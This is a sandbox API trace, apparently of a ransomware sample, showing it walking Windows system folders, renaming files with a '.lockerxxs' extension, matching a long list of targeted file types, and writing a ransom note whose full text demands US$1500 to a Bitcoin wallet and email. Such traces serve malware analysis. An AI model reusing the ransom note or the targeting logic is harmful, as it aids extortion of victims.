lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql.", lpString2="lockerxxs" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql.lockerxxs") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql.lockerxxs" [0165.239] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\UninstallMembership.sql" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_membership_sql_b03f5f7f11d50a3a_6.1.7600.16385_none_fa402b9ff8d17848\\uninstallmembership.sql"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.240] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe43104a, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xbe43104a, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xa558adef, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x1afd, dwReserved0=0x0, dwReserved1=0x0, cFileName="UninstallMembership.sql", cAlternateFileName="UNINST~1.SQL")) returned 0 [0165.240] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0165.241] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91f46db4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x91f46db4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x91f46db4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f493f, dwReserved1=0xc000408, cFileName="amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c", cAlternateFileName="AM435D~1.175")) returned 1 [0165.241] lstrcmpA (lpString1=".", lpString2="amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c") returned -1 [0165.241] lstrcmpA (lpString1="..", lpString2="amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c") returned -1 [0165.241] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\*.*") returned="*.*" [0165.241] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\", lpString2="amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c" [0165.241] lstrlenA (lpString="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c") returned 106 [0165.241] FindFirstFileA (in: lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91f46db4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x91f46db4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x91f46db4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0165.242] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0165.242] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91f46db4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x91f46db4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x91f46db4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0165.242] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0165.242] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0165.242] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f1e6a00, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8f1e6a00, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8f20cb61, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1b750, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MmcAspExt.dll", cAlternateFileName="MMCASP~1.DLL")) returned 1 [0165.242] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.242] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="MmcAspExt.dll") returned -1 [0165.242] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="MmcAspExt.dll") returned -1 [0165.242] lstrcmpiA (lpString1="", lpString2="MmcAspExt.dll") returned -1 [0165.242] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\*.*") returned="*.*" [0165.242] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\" [0165.242] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\") returned="" [0165.242] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\HOW TO DECRYPT FILES.txt" [0165.242] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\how to decrypt files.txt")) returned 0xffffffff [0165.243] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.243] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0165.243] WriteFile (in: hFile=0xffffffff, lpBuffer=0x4f4b00, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0) returned 0 [0165.243] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.243] CloseHandle (hObject=0xffffffff) returned 0 [0165.243] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\", lpString2="MmcAspExt.dll" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll" [0165.243] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.ems") returned 0 [0165.243] lstrlenA (lpString="*.ems") returned 5 [0165.243] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.db") returned 0 [0165.243] lstrlenA (lpString="*.db") returned 4 [0165.243] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.dbf") returned 0 [0165.243] lstrlenA (lpString="*.dbf") returned 5 [0165.243] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.myox") returned 0 [0165.243] lstrlenA (lpString="*.myox") returned 6 [0165.244] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.myo") returned 0 [0165.244] lstrlenA (lpString="*.myo") returned 5 [0165.244] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.qbw") returned 0 [0165.244] lstrlenA (lpString="*.qbw") returned 5 [0165.244] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.qbb") returned 0 [0165.244] lstrlenA (lpString="*.qbb") returned 5 [0165.244] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.qbm") returned 0 [0165.244] lstrlenA (lpString="*.qbm") returned 5 [0165.244] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.qbo") returned 0 [0165.244] lstrlenA (lpString="*.qbo") returned 5 [0165.244] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.qbx") returned 0 [0165.244] lstrlenA (lpString="*.qbx") returned 5 [0165.244] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.qba") returned 0 [0165.244] lstrlenA (lpString="*.qba") returned 5 [0165.244] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.qby") returned 0 [0165.244] lstrlenA (lpString="*.qby") returned 5 [0165.244] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.qbj") returned 0 [0165.244] lstrlenA (lpString="*.qbj") returned 5 [0165.244] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.ofx") returned 0 [0165.244] lstrlenA (lpString="*.ofx") returned 5 [0165.244] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.qif") returned 0 [0165.244] lstrlenA (lpString="*.qif") returned 5 [0165.245] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.mye") returned 0 [0165.245] lstrlenA (lpString="*.mye") returned 5 [0165.245] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.mbox") returned 0 [0165.245] lstrlenA (lpString="*.mbox") returned 6 [0165.245] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.eml") returned 0 [0165.245] lstrlenA (lpString="*.eml") returned 5 [0165.245] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.pst") returned 0 [0165.245] lstrlenA (lpString="*.pst") returned 5 [0165.245] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.ost") returned 0 [0165.245] lstrlenA (lpString="*.ost") returned 5 [0165.245] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.idx") returned 0 [0165.245] lstrlenA (lpString="*.idx") returned 5 [0165.245] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.dbx") returned 0 [0165.245] lstrlenA (lpString="*.dbx") returned 5 [0165.245] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.sql") returned 0 [0165.245] lstrlenA (lpString="*.sql") returned 5 [0165.245] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.mdb") returned 0 [0165.245] lstrlenA (lpString="*.mdb") returned 5 [0165.245] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.fdb") returned 0 [0165.245] lstrlenA (lpString="*.fdb") returned 5 [0165.245] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.wab") returned 0 [0165.245] lstrlenA (lpString="*.wab") returned 5 [0165.245] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.dat") returned 0 [0165.246] lstrlenA (lpString="*.dat") returned 5 [0165.246] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.txt") returned 0 [0165.246] lstrlenA (lpString="*.txt") returned 5 [0165.246] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.jpeg") returned 0 [0165.246] lstrlenA (lpString="*.jpeg") returned 6 [0165.246] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.jpg") returned 0 [0165.246] lstrlenA (lpString="*.jpg") returned 5 [0165.246] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.png") returned 0 [0165.246] lstrlenA (lpString="*.png") returned 5 [0165.246] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.php") returned 0 [0165.246] lstrlenA (lpString="*.php") returned 5 [0165.246] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.cs") returned 0 [0165.246] lstrlenA (lpString="*.cs") returned 4 [0165.246] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.cpp") returned 0 [0165.246] lstrlenA (lpString="*.cpp") returned 5 [0165.246] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.rar") returned 0 [0165.246] lstrlenA (lpString="*.rar") returned 5 [0165.246] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.zip") returned 0 [0165.246] lstrlenA (lpString="*.zip") returned 5 [0165.246] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.html") returned 0 [0165.246] lstrlenA (lpString="*.html") returned 6 [0165.246] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.htm") returned 0 [0165.247] lstrlenA (lpString="*.htm") returned 5 [0165.247] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.xlsx") returned 0 [0165.247] lstrlenA (lpString="*.xlsx") returned 6 [0165.247] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.xls") returned 0 [0165.247] lstrlenA (lpString="*.xls") returned 5 [0165.247] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.mp4") returned 0 [0165.247] lstrlenA (lpString="*.mp4") returned 5 [0165.247] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.ppt") returned 0 [0165.247] lstrlenA (lpString="*.ppt") returned 5 [0165.247] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.pptx") returned 0 [0165.247] lstrlenA (lpString="*.pptx") returned 6 [0165.247] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.doc") returned 0 [0165.247] lstrlenA (lpString="*.doc") returned 5 [0165.247] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.dot") returned 0 [0165.247] lstrlenA (lpString="*.dot") returned 5 [0165.247] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.docx") returned 0 [0165.247] lstrlenA (lpString="*.docx") returned 6 [0165.247] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.7z") returned 0 [0165.247] lstrlenA (lpString="*.7z") returned 4 [0165.247] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.tar") returned 0 [0165.247] lstrlenA (lpString="*.tar") returned 5 [0165.247] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.bz2") returned 0 [0165.247] lstrlenA (lpString="*.bz2") returned 5 [0165.248] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.gz") returned 0 [0165.248] lstrlenA (lpString="*.gz") returned 4 [0165.248] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.mkv") returned 0 [0165.248] lstrlenA (lpString="*.mkv") returned 5 [0165.248] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.eml") returned 0 [0165.248] lstrlenA (lpString="*.eml") returned 5 [0165.248] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.msg") returned 0 [0165.248] lstrlenA (lpString="*.msg") returned 5 [0165.248] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.edb") returned 0 [0165.248] lstrlenA (lpString="*.edb") returned 5 [0165.248] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.accdb") returned 0 [0165.248] lstrlenA (lpString="*.accdb") returned 7 [0165.248] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.odb") returned 0 [0165.248] lstrlenA (lpString="*.odb") returned 5 [0165.248] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.java") returned 0 [0165.248] lstrlenA (lpString="*.java") returned 6 [0165.248] PathMatchSpecA (pszFile="C:\\Windows\\winsxs\\amd64_netfx-aspnet_mmc_asp_ext_dll_b03f5f7f11d50a3a_6.1.7601.17514_none_1d71c2b97b4b2e0c\\MmcAspExt.dll", pszSpec="*.asm") returned 0 [0165.248] lstrlenA 